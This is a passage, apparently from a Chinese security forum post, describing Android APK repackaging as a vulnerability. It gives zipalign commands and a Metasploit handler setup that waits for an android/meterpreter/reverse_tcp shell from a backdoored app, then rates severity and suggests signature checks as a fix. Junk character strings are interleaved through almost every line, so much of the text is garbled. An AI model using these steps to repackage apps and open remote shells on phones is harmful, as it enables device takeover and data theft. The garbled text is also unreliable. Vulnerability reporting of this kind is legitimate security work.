( I, E" k/ q# ~' }, H ( O! ~/ J% `9 Y7 ?- \# ]0 I0 l 字节对齐优化 9 S, d p/ r1 Q1 p" r0 }& c5 z3 E, `* o Y

8 x# n' z3 v n8 y5 g0 R; F5 u + X {( W: }/ r. I; B; u" b zipalign -v 4 repackaged.apk final.apk 7 _0 s* _" { u" c3 |6 t2 ?; Z, d 4 Y* A4 r6 [5 _. z ]& O

2 f9 X" |, Q, s% |' s9 r . D) y$ Y5 i$ Z 检查是否对齐 4 d& A2 n+ s* I ; k0 i- v0 g* [

4 M5 z6 ^5 ]3 }; }: z/ e1 f9 l; H7 [3 V! H a1 H7 D zipalign -c -v 4 final.apk - A* T6 l% [6 d5 r0 ?& P; | " ~% [9 } s5 g( ~, Q% f

9 Q) v9 [ ]. `' X, E 2 q8 a2 H3 ?, H' N: ~% f, c) Z, b 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 # W% l, O0 c( k/ w4 u/ L& T * u- B9 F9 ?; t9 ~9 E

8 N7 l n$ J! w" {" L " Q1 G+ a8 N7 {5 X4 j6 B+ R 启动Metasploit控制台，配置参数等待上线 9 W. z; W2 U L, M L9 |: N) L. Y% S

7 w1 N- t u k- {3 b. M& U2 |: O$ A * n+ |. ^2 ^$ {# B) I, |% x 在终端依次输入如下命令 7 A3 H9 ^8 z. F: Z" A9 P$ g8 Q7 l- W. a( ^$ X& A& B6 t" r

; b, N- T S3 }- |9 N+ B/ w/ Q y5 [# l3 h7 V) z" A0 m msfconsole 4 r' j* J6 Q% _# k/ G* o6 ~% P& s4 G. S

& J) `+ |1 k) f9 ] - J% B9 w& f7 T. v( }' G use exploit/multi/handler 9 a! A9 N; F% E* z( A2 V9 m& L 5 V: b( y; U+ i2 T/ y+ M. ^

0 V$ M/ C2 h8 o% `& \/ ^' F8 r7 l4 S9 @/ S- a2 e set PAYLOAD android/meterpreter/reverse_tcp % A+ ]) m+ V* a& R1 R , o, e- Q" h9 z0 K9 h% n

6 ?0 g2 w# ]& H! r" J) n5 M y" `# w _ A set LHOST 192.xxx.xx.xx : \5 }) s% X) F; U$ z # B4 q" M, H: e% n* {

% n4 k' [# k3 J r% R Z, e * U: B- I( S& \) z" d; F1 P set LPORT 4444 . E S6 M" g$ N# U. Z R" l, t& ? 4 I A$ Q' g0 V+ v/ _' Q' N

0 h. Y) `2 Y, p% g$ s6 n& N" u) s, g exploit 8 c/ I( z' m7 C. J' [! d $ U N7 ]% L( _& v3 A. R! L

9 i" E, S$ G' C4 t# c: M! g8 N) L4 D 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图： 7 b& L0 C% G3 t3 U0 o2 J1 B2 Q ! o& S. s- V, k" b" F8 N$ F

+ ?, z+ m) J8 _5 Q& x ; v* t8 x( p- |+ P* |2 d 漏洞危害：中 4 A* ~- e/ E4 _% W) s j9 g; K" x - A0 v( S+ Y# |- s

. _0 {% ]/ t. @! y$ E! Y$ d$ f/ q4 ^ , u1 d1 q7 g; m5 g+ Y& M 3 w5 B# a0 ?1 r% a, V6 \| 9 ]8 X% @( Z4 \|2 G6 Y( i* J 严重程度 ( K. e R& q/ c# K5 T7 m& i# q- \" o. a& H) o: l ) S0 E( `" p+ ]: o) G5 \* ~ / D) g" c- R6 U! S	% }4 p8 D3 D J+ v' Q8 \|$ X; F- d* d& _4 \4 e1 B % h4 o! K* b* \|/ b8 P' O$ F! b" \|- [8 T& L. O. f+ @$ m3 M 高 0 E4 y' J( N! o7 ~( l * E: m( V+ J$ \|; E, I / k1 j8 K# F, f1 S) _ 5 x% ]3 f3 P+ ]) K5 m9 N# @	& A9 Q& W, d* r2 h; h v1 {- U5 H- s. z* w x" O$ R ' b) N' Y1 N0 A% B$ l6 J$ [; h6 Y( Z; O7 ^% R0 r8 Y+ q" Q$ z9 I ■ 0 w' f2 ]0 [- {. s" D p ' f. j! t- }- h( D/ i o5 Q( ~ $ g7 i* \: i- P $ I1 j* v: \, O7 L6 p8 B$ h9 r3 M/ O: W	0 x- u/ r/ D2 P3 L1 D9 s _( t# n% _3 }8 q 9 R: F6 H+ f' c; j5 N8 E6 T1 O Z # F) G- V r) {; e& t6 \8 Y! ]. m 中 8 T4 g1 O+ v& M/ y' } 8 I& `- E* [9 Y: A) H : S& f& l3 t" T $ k2 i) G% e. U1 H4 p) V, A+ y5 b7 n	8 k- q) Q; N3 V( {' ]( d9 m ~9 }* j$ C/ s6 I* ^' y) ~, A ' i2 O+ K- q$ e9 L/ t 2 c7 W2 w9 B. C4 H/ v0 r$ R 5 G+ ?$ g$ b3 e P% Z) W! o 5 q/ v( ]. ^, A" U/ h0 U% z; X& } - M J7 s8 e. I, V2 o( h8 T. o4 ] * ?6 ]- w: h9 b7 z 4 ?7 ?1 X5 ^0 a" ]3 h) u : i1 H/ R6 O* `( G2 N: O( y5 K	x9 X! o5 S' H; y; a7 P ! ?) b' }0 F R. ^% ~; R z8 `& A 1 Y" O8 i+ v" c3 g 3 F; p1 m; c/ a4 l 低 9 B( G/ s7 U" S9 ]6 R " E: ]3 f5 e7 }# v2 }- ~; G B* }4 J! z& I/ F- W " z! W% x( Q4 Y: K8 H	8 r/ ^% ^9 F# J( y. I- ` u 1 Q& x; @0 h; ]3 v ) \: a( T$ h& `9 T 1 w& h. C- {, h# h+ k % ~% p: }( T1 K' M0 F: ^2 T ( ?/ p/ I X+ r7 ^1 h$ I 4 L. k9 ~ K x9 D7 U- s1 ?$ f* u0 `' `. u; u" u0 o2 _7 l * q0 @: S* \2 m- O# P4 C" I) E 6 x# d: ]' K# c+ y

! m+ F D" T# M" a4 ?$ |4 x2 G& i Y7 c" @ ) x* w7 ^8 Q/ f3 N# F& r1 c 5 y2 i, t# }8 z( r' c" X7 b

* N. z' ]% w# f k7 k! }; e N% V9 U5 L# E( D0 e 修复方法： : [ s+ j+ n: I1 o 4 U" C1 |# E: N

- X! c. \6 V( ^! p ( M# l3 e4 B9 X; ~0 A 1.在 APP 启动时应做签名校验防止二次打包。
) R; e0 Z% U/ ^: {3 H- k " _3 B( Q0 P8 Y& u. e% m 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 ) _! e7 \, W; O ?; {$ ]8 y& J5 e7 j5 {- q6 n4 ]

( T! ?* _7 D/ P( o r& O " o, @; ]6 b& u& n" Q 0 I0 k9 `( Z( `; | ? 8 L( n+ y/ R. J7 H w' P6 S0 U

" o5 {- j3 Y/ S ; T! Y% p4 g% h
4 F/ c3 [: t" {( D. A( u7 F & q8 K1 ^5 W2 u: V$ }- d" Z: N

		自动登录	找回密码
密码			立即注册